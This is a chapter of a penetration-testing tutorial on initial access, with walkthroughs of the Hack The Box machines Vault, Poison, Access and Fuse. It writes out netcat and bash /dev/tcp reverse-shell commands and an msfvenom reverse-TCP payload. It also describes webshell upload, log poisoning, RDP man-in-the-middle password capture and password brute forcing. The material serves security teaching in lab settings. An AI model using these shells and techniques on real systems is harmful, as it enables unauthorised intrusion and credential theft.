Initial Access

Once the phase of enumeration is completed, a path for gaining an initial foothold on the box has been found. This access may be either through remote services designed to allow users remote access or through custom exploitation via a variety of means including custom malware, remote command execution, injection and buffer overflows. We have covered some of these paths already, but we will dive deeper into some of these techniques.

Gaining initial access

After enumerating a target, the aim is to gain access to a network through a foothold on a machine. You have already seen examples of how this can be done using reverse shells or through standard pathways for remote access such as SSH, FTP, etc. To an attacker, all access methods are not equal, and a particular path will be preferred over others depending on what the ultimate goal is. If the aim was simply to get a database of user information, then compromising a website through SQL injection and dumping the appropriate tables would be sufficient. If the aim is to gain complete control of the machine and using it as a jumping point to other machines on the network, getting command access to the box with persistence will be more important.

Ethical hackers are interested in looking at getting the maximum leverage from a machine and Hack The Box emulates this by always making the challenge about getting administrator/root access. This is not always in the form of getting a shell on a box, sometimes it is sufficient just to be able to read privileged information that only the administrator or root account would have access to. In the case of Hack The Box, this is represented by the root flag.

One way of classifying different access techniques is to split them between using legitimate external remote services and custom exploitation:

External Remote Services

  • SSH

  • RDP

  • VNC

  • Others: Citrix, FTP, TFTP, Telnet

Custom Exploitation

  • Phishing with malware

  • Reverse/bind shells

  • Remote command execution

  • Injection (Databases and Files)

  • Buffer overflows

This is not an exhaustive classification and the main point to take from it are the different approaches. In the first class, using External Remote Services, the attacker is "living off the land" by using legitimate tools for their attack. In the second, they are crafting a custom exploitation of a vulnerability to gain unintended access.

Before we start looking at these methods of access, we need to review how Linux and Windows provide an interface to the operating system through their respective command terminals or command shells.

Principles of a remote shell redirecting stdin, stdout and stderror over a network socket

This entire process is made simpler through the use of a program called Netcat that can handle the IO redirection for a program over a network. In what is called a “reverse shell”, you start a Netcat session on a local machine to listen for incoming connections:

nc -lvnp 6001

This tells netcat to listen (-l) on port (-p) 6001 (any number port that is not being used) on all IP addresses for incoming connections (-v is for verbose output, -n is for no DNS). On the target machine, you can run:

nc <listen machine IP> 6001 -e /bin/bash

This will execute bash and send all IO to the listening machine.

An alternative to reverse shells are “bind shells”. In this case the process listens on the attacking machine and the attacker initiates the connection from the attacking machine. The commands are the same but reversed.

Netcat is one tool to create a reverse shell. There are numerous other ways of achieving the same result of handling the standard streams. Another common and useful way of sending a reverse shell is by using built in networking functions of bash.

bash -i >& /dev/tcp/10.0.0.1/6001 0>&1

Although this looks complicated, it is running a bash shell in interactive mode (-i) and redirecting stdout and stderr (>&) to a socket that will connect to the address and port specified (/dev/tcp/10.0.0.1/6001). The final redirection command (0>&1) redirects stdin to the same file as stdout i.e. the socket.

At the other end, you can still use Netcat in listening mode to handle the incoming connection.

There are a range of ways of running reverse shells in different languages listed on sites like PayloadsAllTheThings[1]. An example of a reverse shell written in Python is

Expanded, the code looks like this:

The code essentially replicates the process of making the bash socket connection you saw earlier. It creates a socket u and connects to the listener v. It redirects the stdin, stdout and stderror to the socket w and then makes then runs the bash command x. It then gets all of the standard streams using the socket and finally starts an interactive shell.

The code essentially replicates the process you saw above with the bash socket connection. It creates a socket and connects to the listener. It then gets all of the standard streams using the socket and finally starts an interactive shell.

Reverse shells on Windows

The principles of reverse shells work with Windows as well but you don’t have the ease of having bash readily available. There are Windows' versions of Netcat and so it is possible to do a reverse shell by simply specifying cmd.exe or powershell.exe as the command to execute when using it. It is also possible, as in the Python example above, to run a reverse shell written in PowerShell as follows:

When the code passed to powershell.exe's command argument (-Command) is expanded, it looks like this:

The script creates a socket to communicate with the attacker's listener u, creates a buffer to read v from that socket which will be commands sent by the attacker w, executes the commands sent by the attacker x and gets the response and then writes the response back to the attacker y.

As with all things Windows, this is slightly more complicated than the Linux versions but functional, nonetheless. Another alternative is to use a “Meterpreter” shell that is designed to work with the pentesting framework Metasploit which you will discuss shortly.

Upgrading Remote Shells

The shells obtained by the methods outlined sometimes are less than functional because they do not result in a full ‘TTY’ terminal. TTY stands for teletype and is derived from the early electromagnetic typewriters that were used in telegraphy and then to communicate with mainframes and minicomputers. When you open a terminal on a Mac or on Linux, the terminal software is running a pseudo teletype (PTY) which handles getting input from the keyboard and passing it to a TTY driver which eventually passes that data to which ever shell program you are running. The terminal handles things like arrow keys and key sequences like "control + w" which will erase a word, "control + c" which will kill the last command you ran. If you are not running a proper TTY, you won't be able to use arrow keys and "CTL+c" will kill the shell you are running and not the last command. Also using an editor like vi will be difficult.

Shells can be upgraded by using the pty library in python:

Then typing CTL+z to background the process and typing

SSH

Secure Shell (SSH) operates in a client server configuration with the server usually listening on TCP port 22. Normally, the process for a client connecting to a remote machine involves using either a password or a private key. Keys are generated using ssh-keygen which by default will use RSA as the algorithm. Running ssh-keygen will produce a private key and a public key. The public key is added to a file "authorized_keys" normally located in the .ssh directory in the user's home directory. The private key is then held by the user on their client machine. SSH also supports password access. Although it is not normal to find a private key in the .ssh directory on the server, it is always worth checking, using the default filename for the private key "id_rsa".

As an added layer of protection, SSH private keys can be encrypted. John The Ripper will extract a hash from the encrypted SSH key with a program called "sshng2john.py".

Another useful utility supported by SSH is "scp" a ssh file copying utility. To copy a file to a remote machine you can use the command:

To copy the remote file to a local file, you just reverse the order of the file paths.

SSH Tunnels

SSH can be used to create an encrypted tunnel that supports port forwarding. There are two types of port forwarding, local and remote. This can be confusing because local forwarding forwards packets from a local port to a port on a remote machine. Remote port forwarding is the opposite, taking packets for a port on a remote machine and forwarding them to a port on the local machine. As an example, let us imagine that you have ssh'd onto a remote machine that is behind a firewall that doesn't allow any traffic out. You would like to access a web server on our local machine to be able to access file from the remote box. To do this, you could use an SSH tunnel as:

From the remote machine, you can now access the web server on the local machine by using the URL http://127.0.0.1:8000. Of course, you would need to make sure that nothing was running on port 8000 already on the remote machine.

The converse of this is where you would like to access a port on a remote machine that is only available from that machine. In this case, you use SSH in the same was as before but using the -L flag instead of -R.

From the local machine, you can access the remote server by once again using the URL http://127.0.0.1:8000.

A tunnel can be created without actually logging into the machine (i.e. not running a shell) by specifying the -N flag.

Dynamic Port Forwarding

Specifying individual ports to forward works well when you are interested in a specific target for this. There are situations however when there is more than one port that you would like to forward, or indeed a range of ports. To do this you can use dynamic port forwarding which works as a SOCKS proxy.

Once this is running, a SOCKS proxy can be configured in settings of the browser, or you can use the application proxychains which allows any application that uses the network to send its commands over the SOCKS proxy you have established. For example, to curl a web server running on the remote host on port 8000, you would use proxychains as:

Depending on the tool however, there is often built in support for proxying and so with curl for example, the SOCKs proxy can be specified directly:

Exercise: Initial access and port forwarding on Hack the Box machine Vault

This machine was graded medium difficulty and was actually 3 separate virtual machines with hostnames: ubuntu, DNS and Vault. Although you will be dealing with pivoting later on, solving the machine required the use of local and remote port forwarding over SSH. An additional complication was the presence of a firewall that was blocking traffic to the Vault machine unless the source port was set to 53, the port usually associated with DNS. The firewall can be circumvented in a number of ways but the easiest is to use Ipv6 which hadn't been blocked by the firewall.

An nmap scan of the machine reveals SSH running on port 22 and HTTP running on port 80:

Visiting the website on port 80, you get the text:

We specialize in providing finanancial organisations with strong web and database solutions and we promise to keep your customers financial data safe.

We are proud to announce our first client: Sparklays (Sparklays.com still under construction)

Running Gobuster, but with a modified wordlist to add "sparklays" and "Sparklays", you find the sub-directory "sparklays". Running gobuster on this directory reveals the following sub-directories and files:

And again, within the /design sub-directory, you find an additional directory /design/uploads. Navigating to the http://vault.htb/sparklays/admin.php returns a login page which doesn't return any errors or other feedback when testing out default username/password combinations like admin/admin. Putting this request into Burp Suite and changing the host header in the request to "localhost" however, you get redirected to another php page " sparklays-local-admin-interface-0001.php" which presents the page shown in Figure 3-2.

Vault admin panel

Clicking on "Server Settings" leads to a page under construction. "Design Settings" however, returns a page that allows the logo to be changed. We can upload a PHP file that will give us a reverse shell. There are webshells already installed on Parrot Sec OS located in the directory /usr/share/webshells. We will use the PHP one:

Copying this file to our working directory and renaming it reverse.php, we can try and upload it using the logo upload feature. The upload function restricts the file types that can be uploaded and so if you try and upload the PHP file you get an error returned saying "sorry that file type is not allowed". However, if you change the extension of the file to another valid PHP extension "reverse.php5", that is allowed. Start a Netcat listener to catch the reverse shell:

We can now navigate to the URL:

This then returns a reverse shell which you can upgrade to a full TTY using the Python and bash commands:

We now have initial access as the user www-data. Exploring the /home directories, you see two users; "alex" and "dave". On exploring the "dave" directory, you find a sub-directory "Desktop" that has files which contain ssh credentials for the user "dave":

We can now login using ssh and the user dave and the password Dav3therav3123.

In the file Servers, it mentioned another machine at the IP address "192.168.122.4". you can see from using the command "ifconfig" that the machine vault has 2 network interfaces with the interface "virbr0" having the IP address 192.168.122.1. you can check what ports might be on the machine with the IP address "192.168.122.4 by using Netcat:

The -v flag allows for verbose output and the -z flag does not connect to the port, it just checks if it could connect. Using this, you see that ports 22 and 80 are open.

We can now do a local port forward to get access to port 80 on the box 192.168.122.4

This then allows us to navigate to the web site at http://127.0.0.1:8081 where you get links related to DNS and VPN configuration (Figure 3-4).

Home page on port 8081

The first link goes to a page under construction. The second is a page that allows for openvpn configurations to be tested.

VPN Configurator page

Searching for OpenVPN configuration exploits, you find a blog post by Jacob Baines[2] which gives a configuration for returning a reverse shell. Adapting this, you can paste the following into the page, update the file and then click Test VPN.

Rather than run the Netcat listener on the Vault machine however, you can use another SSH remote port forwarder to tunnel the shell back to our local machine. To do this from an existing SSH session, you can use the special characters ~C at the beginning of the command prompt to drop into an SSH prompt and then set up the remote port forward:

Setting up the listener on the local machine will then give us a reverse shell on the DNS machine as root.

Looking around the box, you find that the ssh file in /home/dave has a password dav3gerous567.

Looking at the /etc/hosts file, you see an entry for the vault machine:

The machine doesn’t respond to a ping but using nmap on the Vault machine, you find two ports that are closed:

There is a possibility that this response is just poor firewall design and that the reason that 53 responded as closed was because the firewall may be letting anything that looks like DNS traffic through to the box. You can re-run nmap but specify the source port as 53. This gives an open port 987

Running netcat to connect to that port returns and SSH banner suggesting that you can SSH onto that box.

There are a couple of ways of getting around the firewall restriction to get to the Vault machine. The easiest however is to use Ipv6. In order to do that, you need to find the Ipv6 address of Vault. If you ping the Ipv6 broadcast address, the ping will go to all hosts on the network connected to the "ens3" network interface:

From this, you get 4 responses. The first response from fe80::5054:ff:fe17:ab49 you know is from the DNS machine as you can see its Ipv6 address using the ifconfig command. Using the nmap command, you can check which machine has port 987 open and you find that it is the machine with the Ipv6 address fe80::5054:ff:fec6:7066.

We can then just ssh in using the ssh command:

Once on the box, you can see the root flag that is encrypted using GPG. You can use the gpg application to get more information about the file and find that it has been encrypted using an RSA key with the ID D1EB1F03.

This key doesn't exist on the Vault machine but does on the ubuntu machine:

We can use scp (SSH copy utility) to copy the file onto the DNS box and then onto the ubuntu machine and decrypt using gpg and the passphrase "itscominghome" that you found in the file called Key earlier.

Remote Desktop Protocol

Remote Desktop Protocol (RDP) allows user to access their desktop from another machine over a network using the RDP client. The RDP server listens on TCP and UDP port 3389 by default. Users are permitted to use RDP are those in the Remote Desktop Users group. RDP access is one way hackers will gain initial access to a machine if they have a user's credentials. It can also be used to establish persistence, i.e. an easy way to regain access at some later point. In this case, a new user can be created and added to the relevant groups to allow remote desktop access.

RDP is also susceptible to man-in-the-middle attacks. Using software such as Seth[3]. When Remote Desktop Connection connects through to a machine, it will throw up an error if there is a problem with the TLS certificate. However, it does this with the default self-signed certificate and users are normally used to just ignoring the warning and clicking through. Another issue with man-in-the-middle is if RDP is configured to use Network Level Authentication which Seth is not able to handle. In this scenario, Seth will still be able to capture the plaintext password that was entered into the login screen for the RDP connection, but the connection will then die.

There have been a number of exploits of RDP with the most significant recent exploit being BlueKeep (CVE-2019-0708) which allowed remote code execution through RDP on Windows 7 and Windows Server 2008 machines.

RDP does not feature in Hack The Box machines, mainly because in the past, it would have been hard to support the many users accessing RDP all at the same time on a VM. However, this is an important technique in an attacker's arsenal and so MITRE for example lists numerous malicious hacker groups as using it to gain access and for lateral movement [4].

Exercise: Using Seth in a Man-in-the-Middle Attack

Hack The Box doesn't have any good examples of RDP exploitation and so to illustrate at least one vulnerability, you will demonstrate how easy it is to get a person's password using Seth.

For this demonstration, you have a Windows 10 box that is configured to accept remote desktop connections as the target. You can use your Windows 10 Commando box if you have set that up. The victim is a remote desktop connection client from any other machine on the network, including the computer you are using to run the VMs on. The attacker machine is our ParrotSec VM. The network is shown in Figure 3-6 below.

Network diagram of RDP man-in-the-middle attack

When you run Seth on the attacker machine and then try and connect using the Remote Desktop Client, you get this output:

In this scenario, Network Level Authentication had been configured and so Seth was not able to complete the attack and the connection fails with an error. However, the plaintext username and password are still obtained by the attacker. If the NLA requirement option is switched off, the connection completes, and the user would not be any the wiser.

VNC

VNC is an alternative to RDP that is platform independent. VNC uses the Remote Frame Buffer protocol (RFB). It is usually configured to run on ports 5900+N were N is the display number. Whilst RFB is not a secure protocol, VNC can be run through an SSH or VPN tunnel making it secure.

VNC hasn't been the most robust of products and there are numerous serious vulnerabilities in a range of different versions of the product.

VNC may require password but if used, it doesn't need a username. Metasploit has a VNC login brute force module (auxiliary/scanner/vnc/vnc_login) and the command line application hydra can also brute force VNC passwords. A VNC-enabled payload can be created by msfvenom also:

msfvenom -p windows/vncinject/reverse_tcp LHOST=<Local Host IP address> LPORT=4444 -f exe > payload.exe

Finally, meterpreter can launch a VNC session by running "run vnc" within a meterpreter session.

Exercise: Exploiting VNC for initial access in Hack The Box machine Poison

An nmap scan shows that this machine is running FreeBSD and has port 22 (SSH) and port 80 (HTTP) open.

Navigating to the website, there is a home page suggesting that various PHP files can be tested (Figure 4-6).

Home page of Poison machine

Inputting one of the filenames listed results in the contents of that file being listed. If we enter listfiles.php, the output is:

The PHP code is creating an array of filenames. The interesting one is pwdbackup.txt which if we access has the contents:

The encoding format looks like Base64 and so if we simply put the string in a file and decode it13 times we get a password:

Going back to the home page, the input to the text box is simply being passed as a parameter called "file" to be displayed:

This looks like a candidate for local file inclusion (LFI) by tampering with the file parameter. If we try the URL

We get the contents of the passwd file returned.

We can see from the passwd file that there is a user "charix" and using the password we discovered earlier with this, we can SSH into the machine.

This was not the only way that you can gain initial access to the box however. Another way of gaining access is to use a technique called "log poisoning" which involves putting PHP code into the Apache log file that records requests to the site. This log records the URL requested, the protocol, the status code and also the user agent which is the details of the browser client used to make the request. If we put executable PHP into the User Agent header filed in the request and make a request, the next time we use LFI on the log, that code will be executed. The code we can add to the User Agent field is:

This code takes the value in the query parameter 'c' and executes it using the 'system' command. To add the code to the User Agent field, we can use Burp to intercept the request and then change the value in the Repeater tab before sending it to the server:

We can test this now by sending a new request to view the log file and pass a command via the parameter 'c':

This will return the contents of the log file and the final line will be:

It took the 'id' command and executed it to return the details of the user 'www'.

We can now execute a reverse shell. Start a Netcat listener on your machine:

We can now poison the log with PHP reverse shell code:

When we make the GET request to view the log, we will get a reverse shell:

The shell isn't great and Python is not on the box to use to upgrade it. If you had got access this way, it would have ben to explore the box to find the pwdbackup.txt file and from there the password for the charix user to enable the use of SSH.

Once SSH'd onto the machine, you discover a file secret.zip which you can copy back to your local host using the scp command:

The file can be unzipped using charix's password to reveal the secret file which has binary data in it but otherwise it is not clear what it is for.

Back to enumeration. Looking at the processes running, you will notice a process Xvnc:

To get more information, we can display the process information in more detail:

From this, we know that TightVNC is running as user root and this is listening on port 5901 on localhost. To access the VNC server, you first set up a tunnel using:

On our local box, you can confirm that you can access this port by using:

Note that you used proxychains here to access the VNC server. You could have used the --socks5 argument to curl as well.

We can then run vncviewer using proxychains. This asks for a password and so trying the "secret" file that you got from unzipping "secret.zip" from charix's home directory:

Which launches a VNC session as root

VNC session as root on Poison

VNC's encryption of passwords is more obfuscation than encryption as the key that is used for the DES encryption is well known. It is trivial to find an application that will decrypt the password in the file "secret" and it turns out to be "VNCP@$$!".

Telnet and FTP

Telnet

Telnet is an old protocol that provides a command-line interface via remote access. The telnet server usually listens on TCP port 23. Because it was never designed with security in mind, it is less used for administration purposes on computers but is still used on network devices and Internet of Things devices. A large number of IoT devices have shipped with default passwords set for Telnet access allowing attackers to access and take over the devices to enlist them in "botnets". Botnets are a collection of devices all running similar software/malware that can be coordinated in an attack like a Distributed Denial of Service (DdoS).

What commands are supported by the telnet server depends on the platform. On windows for example, it will be the cmd.exe commands that are supported. On a Cisco network switch, you will be presented with the Cisco CLI (Command Line Interface). In this regard, it is similar to SSH in running a specific shell after a successful login.

FTP

File Transfer Protocol allows a client to upload and download files using a set of simple commands. The FTP server normally has 2 TCP ports that it uses, port 21 for FTP commands and port 20 for sending and receiving data. FTP operates in two different modes active and passive. In active mode, the FTP client connects to the command port of the server on port 21. The client starts listening for data on a port that is the next port from the one it opened to connect to the server. The FTP server connects to this port on the client from its local data port and sends or receives data when requested by the client.

The trouble with active mode is that clients are often behind firewalls or on a private network that does not allow for inbound connections on dynamic ports. For this reason, FTP also supports a passive mode. In passive mode, the server opens a random port for data connections and passes this to the client to connect to. Of course, having the FTP server open to a range of open ports to support passive mode creates security vulnerabilities of its own.

Exercise: Enumerating and exploiting FTP and Telnet on Hack The Box case machine Access

Access is a Windows box that has an FTP server on which you will find a backup of an MS Access database and a password-protected ZIP file containing a backup of a Microsoft Outlook email file. Dumping the Access database give server usernames and passwords, one of which can be used to unzip the ZIP file. Viewing the emails in the PST file found there, gives another password that can be used to gain access via Telnet.

An nmap scan shows that the TCP ports 21 (FTP), 23 (Telnet) and 80 (HTTP) are open. Nmap tells you that anonymous login is allowed on FTP.

On logging in with user anonymous, password anonymous, you find 2 directories, "Backups" and "Engineer". The Backups directory contains an mdb file which indicates that it is a backup of an Access database file. The Engineer directory contains a zip file named "Access Control.zip".

To download everything to our machine, we can use wget from our local machine:

The -r flag tells wget to do a recursive fetch which goes into every directory and fetches the contents. The --no-passive-ftp flag tells wget not to try and download files using passive mode. If you try and run the command without the --no-passive-ftp flag, wget will try and establish passive mode and fail, aborting the command.

Once the command completes, you will have the following on your local disk:

If you try and unzip Access Control.zip, it will give an error saying that it can't unzip because the zip file uses "unsupported compression method 99" which means that it was zipped using 7-Zip. If you try 7z on it, you will be prompted for a password. So leaving that for the moment, you can explore the access database backup using mdbtools which can be installed with:

Create a directory called tables and move backup.mdb into it then run:

This script will get each table name and then export the contents of the table, saving it to a file named using the table name. Most of the tables are empty and you can sort the files by line count using:

On looking at the files with more than 2 lines, you will notice a table called auth_user:

The first thing to try is the engineer password on the zip file:

The pst file is a Microsoft Outlook email file that can be read using the program "readpst". Running this on "Access Control.pst" will extract an mbox file. With cat, the contents reveal an email that is in the "Deleted Items" folder. This email is from [email protected] to [email protected] saying that:

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.

You can then use the username security and password 4Cc3ssC0ntr0ller to telnet onto the box:

It won't be long before you notice that the shell that Telnet provides is limited. The arrow keys don't work and nor does the delete key. Output is not formatted correctly. This is a very good example of where the shell is not a full TTY. You can improve things by running a Nishang PowerShell reverse shell, but I will leave this here for the moment and come back later when I discuss privilege escalation and persistence.

Brute forcing remote service passwords

We have already come across some examples of brute forcing passwords (and usernames) but we are going to go into the subject a bit more deeply here and look one tool in particular THC Hydra to brute force a variety of remote services. First, it is worth mentioning some background about passwords. The perceived wisdom about passwords has changed with the main recommendation for passwords being length and not complexity (NIST SP 800-63B (https://pages.nist.gov/800-63-3/sp800-63b.html)\). The determination was that adding rules about specific characters and complexity only added a burden on users to remember the password and led to behaviors where users used patterns to choose their passwords. The advent of highly efficient offline password hashing and checking computers along with millions of available breached passwords has led to the increased possibility of a password being brute forced.

Password hashing depends on the use of a mathematical function that is called a one-way function. It is easy to calculate the hash of a piece of plain text but almost impossible to generate the text from the hash. Hashes are also of fixed length, so no matter how long the piece of text being hashed, the hash itself is always the same length. In the case of the SHA-512 hashing algorithm commonly used on modern Linux-based systems, the output is 64 bytes long. If the only thing that was done with a password was to take the plain text and hash it, it would not be very secure. This is because it would be possible to use tables of pre-computed hashes, called rainbow tables) for millions of common passwords and compare them to the hash to get a match. That process would be very fast. Even without the rainbow tables, doing a brute force on a dictionary of words by hashing each word and comparing it with the hash we want to crack would also be very fast, especially on modern computers with Graphical Processing Units (GPUs).

To prevent these types of attacks, password hashing uses a salt, a piece of random text that is up to 16 characters long (for the SHA-512 hashing algorithm) and adds that to the password and hashes that. However, it doesn't just do this one, it does it a minimum of 1,000 times taking the product of each round and adding it back in a variety of ways. The aim of this process is to make the calculation of hashes computationally expensive i.e. to slow it down.

Of course, not all password hashes are generated in this way and despite the improvements in hashing algorithms, it is still possible to brute force passwords if they are short and are a common dictionary word.

There are two main ways of brute forcing a password: online and offline. We have encountered methods for both already but let's start with offline cracking. Obtaining password hashes is only the beginning of the process of being able to crack them. We first have to identify what type of hash we are dealing with. The password cracking software hashcat has a flag that will show example hashes for all of the different hashing modes. To list all of the modes of hashing that hashcat supports, you can use the --help flag

For each of these modes, we can show an example of the hash by using --example-hashes

Password cracking can operate in a number of different ways. The first and most basic is to simply try every character combination in sequence. At the opposite end of the scale is to use dictionaries of common passwords and/or common character combinations. As variants of these two approaches, we can optimize the dictionaries by applying what we know about the password syntax rules and also information we may have gathered about the target, personal details like hobbies and interests, dates of birth, where they work etc.

In terms of password syntax, we may know what the minimum and maximum numbers of characters are, whether there needs to be a capital letter, special characters and numbers. Armed with this knowledge, we can simply parse dictionaries like rockyou.txt with a tool like grep. For example, if we wanted to get words that are between 8 and 9 characters long, we could use:

egrep is an alias for grep -E which supports extended regular expressions. Regular expressions are a set of patterns that will match text according to certain rules. In this expression, the ^ matches the start of a string. The . matches any character and the {8,9} will match characters 8 or 9 times. Finally, the $ matches the end of the word. We can make this expression exclude words that have uppercase letters in them:

The expression [[:upper:]] matches uppercase letters and the ^ within the [] means 'not'.

The approach of taking a password list and refining it certainly makes the process of cracking faster, provided the password you are looking for is in the list. However, even though a person may use a common password, they will often change it by altering numbers at the end, either a sequence or referring to a specific date for example. A fan of the French soccer team may have the password France2018 representing one of the years that France won the FIFA World Cup.

The tool CUPP (Common User Passwords Profiler) (https://github.com/Mebus/cupp\) will ask a series of questions about a target to create a set of possible password combinations. Of course this relies on having access to personal information about the target such as their family members' names, dates of birth, pet names, work and hobbies.

Another approach is to crawl a company website for potential words that could be used as a password using a tool like CeWL (Custom Word List Generator https://digi.ninja/projects/cewl.php\). Again, this isn't sophisticated, it just takes words that it finds and creates a password list.

Once you have a wordlist, you can use tools to take the words and create different combinations to create a more extensive list of passwords. One of these is Mentalist (git clone https://github.com/sc0tfree/mentalist.git\) which allows you to take a wordlist and then apply a chain of transformations that will do things like change case, substitute numbers for letters and other substitutions (e.g. zero instead of the letter O, 3 instead of e, 5 instead of s) and to take things like zip or postal codes and other words and prepend or postpend them to the word. You can either use this to generate a new dictionary to use for cracking, or create a set of rules that can be directly used by John The Ripper or Hashcat.

We will go through an example of generating a custom word list in a moment, but first we can turn to tools for testing passwords directly with an application online. This has become much more challenging recently with improvements in applications that will lock users out after a small number of failed login attempts. However, it can still work where these protections have not been applied, websites with poor security practices, services that do not have the means for password protections of this sort and devices like the Internet of Things where again, password protection is not implemented by default.

Online Password Brute Force

We have already seen a number of tools that can be used to test usernames and passwords for specific remote services. The most comprehensive of these is THC Hydra (https://github.com/vanhauser-thc/thc-hydra\) which supports more than 50 different protocols. The basic syntax of Hydra is illustrated in the examples printed out with the use of hydra -h

The -l and -p flags expect a username and password respectively. The capital versions -L and -P will accept files of usernames and passwords. The service is of the format:

<protocol> will be the type of service such as http, smb, ftp pop3. The port can be specified in addition to the IP address although the default port will be used if this is omitted. Finally, there is the ability to specify particular authentication variants as part of the protocol specification.

Medusa is another tool, like hydra, which will allow the brute forcing of a range of different services but it has been largely unmaintained since 2015.

Metasploit also has a number of scanners for services such as FTP, SMB and SSH that will do brute force logins as well. There are also other tools such as Crackmapexec which supports a few protocols such as SMB, HTTP and MSSQL (Microsoft SQL Server).

As we will see however, all of these tools respond differently to different settings and protocols and so it is possible to get both false positives and negatives. Checking with another tool is always a good idea.

Exercise: Brute forcing usernames and passwords for remote access on Hack The Box machine Fuse

In this exercise, we enumerate users and potential passwords from the public website of the machine Fuse. We then use a few tools, including Kerbrute and CrackMapExec. Eventually we get a username and password that allows us to gain remote access to the machine using evil-winrm.

An nmap scan of the box gives us the following ports:

The OS discovery suggests that the box is a Windows Server 2016. The variety of ports like DNS, LDAP and Kerberos suggest that it is an Active Directory domain controller with the domain fabricorp.local. We can add this hostname to the /etc/hosts file. An interesting note at this point is whether add the fabricorp.local DNS to the list of nameservers to query so that any other subdomains would be accessible automatically. You can normally do this by adding the entry nameserver <IP address> to the file /etc/resolv.conf. However, in this case, the DNS returned the incorrect IP address for fabricorp.local and so this is not an option.

Going to the website, we get redirected to the URL http://fuse.fabricorp.local/papercut/logs/html/index.htm and so we can add fuse.fabricorp.local to the /etc/hosts file as well. This gives us a page shown here:

fuse.fabricorp.local home page. A PaperCut printing administration page.

The page is an instance of the PaperCut printing software printer logs. On the page, we can see print logs for 3 specific days. Going into each entry, we find records of print jobs for a variety of users as in the entry for the 29th May 2020.

Print log for 29th May 2020

Enumerating the website it is apparent that the site is static HTML and so even if there was a CVE related to this version of PaperCut, there would be nothing to exploit. Instead, we can focus on the users that are listed with the print jobs:

We can add these to a file users.txt and use a program kerbrute to check if these users exist on the fabricorp.local domain.

To get kerbrute, you can download a release from https://github.com/ropnop/kerbrute.

Running this with the users listed above, we get:

Now that we have valid usernames, we need password candidates and a place to try them. We are going to use CeWL to parse the website and generate a wordlist.

We have specified a depth of 3 (-d 3) for the program to crawl, a minimum password length of 8 (-m 8), we want words that contain numbers (--with-numbers) and an output file fabricorp_wordlist.txt and the URL of the home page we want to crawl. This generates a wordlist of the type:

We can't use Hydra with this machine. It will error out when trying to brute force SMB and if you try SMB v2, after compiling a version with this support, it will not report the specific SMB error we are looking for. To do that, we need to use crackmapexec which illustrates that sometimes using a range of tools is a good option. Using crackmapexec, we get an error for the user tlavel and password Fabricorp01 that the STATUS_PASSWORD_MUST_CHANGE.

An alternative to crackmapexec is medusa which can be used with the the user file (-U users.txt), the password file (-P fabricorp_wordlist.txt) and the SMB NT module (-M smbnt). This gives the following output:

Whichever way you do it, the end result is that the password for tlavel, Fabricorp01 needs to be reset. We can do this with smbpasswd:

If we test the new password Fabricorp02 with crackmapexec, we get:

The password gets reset every minute on this machine back to Fabricorp01 and so whatever we do to test access, we need to do it straight after resetting the password. There is also a password history kept and so each time the password is changed from Fabricorp01, it needs to be changed to an entirely new password.

We can do that and then log into the machine using rpcclient. Interestingly, rpcclient will also report NT_STATUS_PASSWORD_MUST_CHANGE if we use the original Fabricorp01

Using enumdomusers to enumerate the users on the box, we get an extended list of users:

We can collect all of the users and create a new users file with these users in it called rpc_users.txt and then just extract the usernames with the command:

The awk command uses the -F flag to specify the field separator regular expression. We are separating the text between the square bracket ([]) characters. The '\' is necessary to escape the first [. If we try and write to the same file, it will end up blank and so that is why we need to create a separate file.

Back on rpcclient, we can look at printers that might be shared by using the enumprinters command. This gives output which contains a password:

A password has been saved in the description $fab@s3Rv1ce$1 which we can test with the users we enumerated earlier:

We get a hit with the username svc-print which we can then use to get access with evil-wrinrm:

The user flag is in c:\Users\svc-print\Desktop\users.txt.

We will leave this here and come back to Fuse in a subsequent chapter where we cover further enumeration for discovery and privilege escalation. Next however we are going to explore custom exploitation as a means of gaining initial access.

Last updated

Was this helpful?